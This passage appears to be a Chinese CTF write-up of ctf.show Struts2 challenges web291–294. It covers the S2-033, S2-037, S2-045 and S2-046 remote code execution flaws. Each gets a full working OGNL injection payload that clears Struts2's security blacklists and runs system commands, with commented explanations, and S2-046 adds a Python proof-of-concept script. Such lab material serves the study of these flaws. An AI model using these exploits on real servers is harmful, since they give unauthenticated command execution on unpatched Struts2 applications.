读取结果。 //通过 pp 参数传入的 \\A正则表达式代表输入流的开头作为定界符。这意味着 Scanner 会一次性读取整个输入流的内容而不是一行行读。 //#str#s.hasNext()?#s.next():#parameters.ppp[0] //三元运算判断 如果命令有输出则取输出内容如果没有例如执行失败则返回参数 ppp 定义的空格。 //#w.print(#str), #w.close() //数据回显并断开 将命令执行结果发送给攻击者并强制关闭连接。 //1?#xx:#request.toString //收尾平衡 这是一个 OGNL 语法的小技巧用于确保整个表达式在逻辑上是合法的并能被正确解析执行。web291S2-033GET请求发送数据; 支持任意命令执行和反弹shell使用工具依旧任意命令执行命令执行根据官方的漏洞描述当开启动态方法调用并且同时使用了Strut2 REST Plugin插件时使用“!”操作符调用动态方法可能执行ognl表达式导致代码执行。https://46cc5952-49ec-445b-a2ce-b2e3218aad52.challenge.ctf.show//S2-033/orders/4/%23_memberAccess%3dognl.OgnlContextDEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3dorg.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?objcom.opensymphony.xwork2.dispatcher.HttpServletResponsecontent2908commandenv#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS,#xx123,#rsorg.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(#parameters.command[0]).getInputStream()),#wr#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?objcom.opensymphony.xwork2.dispatcher.HttpServletResponsecontent2908commandenv //#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS //作用 权限覆盖。 //原理 Struts2 为了安全通常会限制 OGNL 访问特定的受保护方法或私有变量。这行代码试图将当前上下文的访问权限重置为“默认允许”从而消除对执行敏感 Java 方法如执行系统命令的拦截。 //#xx123 //作用 占位符。 //原理 定义一个简单的变量通常用于后续链式调用的语法闭环或者测试表达式是否能正常解析。 //#rsorg.apache.commons.io.IOUtilstoString(...) //作用 执行命令并捕获输出。 //核心逻辑 //java.lang.RuntimegetRuntime().exec(#parameters.command[0])调用 Java 运行时环境执行 URL 参数中 command 传递的命令在此案例中是 env即查看环境变量。 //.getInputStream()获取该命令执行后的标准输出流。 //org.apache.commons.io.IOUtilstoString(...)利用 Apache Commons IO 工具类将二进制流转换成可读的字符串并存入变量 #rs。 //#wr#context[#parameters.obj[0]].getWriter() //作用 获取 HTTP 响应句柄。 //原理 从 Struts 上下文中找到 HTTP 响应对象通过参数 obj 传入即 HttpServletResponse并调用 getWriter() 准备向页面直接写数据。 //#wr.print(#rs),#wr.close() //作用 输出结果并结束响应。 //原理 将刚才存储在 #rs 中的命令执行结果环境变量信息打印到 HTTP 响应体中并关闭写入流。这会让攻击者直接在浏览器或 Postman 中看到命令回显。 //#xx.toString.json?obj...commandenv //作用 触发执行与参数传递。 //原理 末尾的 obj 和 command 是 URL 参数。代码通过这种方式解耦使得攻击者只需修改 URL 结尾的 command... 就可以执行不同的指令 参数。代码通过这种方web292S2-037GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell使用工具命令执行漏洞建立在033的基础上还是对method没有进行过滤导致的但是033的payload的要做转变才能检测 启用动态调用方法为true 支持rest插件 使用http://localhost:8080/bee/action-name/1/XXX这种请求方式其实XXX可以是任何合法的名字 。Struts2会查找XXX为名字的方法来调用比如请求http://localhost:8080/bee/test/1/abc那么TestAction的public String abc()就会被调用 。https://blog.csdn.net/qq_29277155/article/details/51693968http://468a8412-9ffb-4c5f-9e98-79c70288169a.challenge.ctf.show//S2-037/orders/3/(%23_memberAccess%3dognl.OgnlContextDEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3dorg.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?objcom.opensymphony.xwork2.dispatcher.HttpServletResponsecontent16456commandenv(#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS)?(#wr#context[#parameters.obj[0]].getWriter(),#rsorg.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(#parameters.command[0]).getInputStream()),#wr.println(#rs),#wr.flush(),#wr.close()):xx.toString.json?objcom.opensymphony.xwork2.dispatcher.HttpServletResponsecontent16456commandenv //(#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS) //修改权限控制Struts 2 通常会限制对私有成员的访问。这行代码尝试将 OGNL 的成员访问策略重置为默认值从而绕过安全沙箱。 //? (...) : xx.toString.json //三元运算符这是一种逻辑结构。如果前面的权限修改成功则执行括号内的攻击指令否则返回一个无关紧要的字符串。 //#wr#context[#parameters.obj[0]].getWriter() //获取输出流通过参数 obj 传入的类名此处为 HttpServletResponse获取服务器的 HTTP 响应写入器。就能直接把命令执行结果写回网页。 //java.lang.RuntimegetRuntime().exec(#parameters.command[0]) //执行系统命令这是最危险的部分。它调用 Java 运行环境执行从 URL 参数 command 中获取的命令在这里是 env即查看环境变量 //org.apache.commons.io.IOUtilstoString(...) //处理结果使用 Apache Commons 工具类将命令执行后产生的二进制输入流InputStream转换成可读的字符串。 //#wr.println(#rs),#wr.flush(),#wr.close() //回显数据将执行结果写入 HTTP 响应流刷新缓冲区并关闭连接。能直接在浏览器或工具中看到命令回传的结果web293S2-045POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传使用工具命令执行可以使用恶意内容类型值执行RCE攻击。如果Content-Type值无效将引发异常然后使用该异常向用户显示错误消息。https://blog.csdn.net/u011721501/article/details/60768657%{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdenv).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())} //#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS: 获取默认的成员访问权限。 //#container#context[...ActionContext.container]: 获取 Struts2 的内部容器实例。 //#ognlUtil.getExcludedPackageNames().clear(): 关键攻击步。Struts2 有一个“黑名单”禁止访问敏感的 Java 包如 java.lang.Runtime。这行代码直接清空了包黑名单。 //#ognlUtil.getExcludedClasses().clear(): 同上清空了类黑名单。 //#context.setMemberAccess(#dm): 将当前上下文的访问权限设为最高此时攻击者可以调用服务器上的任何 Java 类。 //#iswin(java.lang.SystemgetProperty(os.name)...contains(win)): 检查服务器是否为 Windows 系统 //#pnew java.lang.ProcessBuilder(#cmds): 使用 ProcessBuilder 创建系统进程。 //#p.redirectErrorStream(true): 将错误输出stderr合并到标准输出stdout确保无论命令成败攻击者都能看到反馈。 //#process#p.start(): 正式触发系统命令执行。 //#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream()): 获取 Web 服务器的原始响应输出流。 //org.apache.commons.io.IOUtilscopy(...): 使用工具类将命令执行的结果直接“灌”进 HTTP 响应包中。web294S2-046POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传使用工具S2-046漏洞和S2-045漏洞很相似都是由于对Header某个字段信息处理发生异常错误信息连带着payload同过buildErrorMessage函数带入LocalizedTextUtil.findText造成的。 但是不同的是这次漏洞的触发点在Content-Length和Content-Disposition字段的filename中。参考链接https://xz.aliyun.com/t/221#!/usr/bin/env python # encoding:utf-8 import requests class Sugarcrm(): def poctest(self): boundary---------------------------735323031399963166993862150 paylaod%{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdenv).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())} url http://0e43079f-a166-48e2-87ed-a79055208d2c.challenge.ctf.show/S2-046/doUpload.action headers {Content-Type: multipart/form-data; boundaryboundary} data --boundary\r\nContent-Disposition: form-data; name\foo\; filename\paylaod\0b\\r\nContent-Type: text/plain\r\n\r\nx\r\n--boundary-- rsrequests.post(url, headersheaders,datadata) print(rs.text) if __name__ __main__: test Sugarcrm() test.poctest()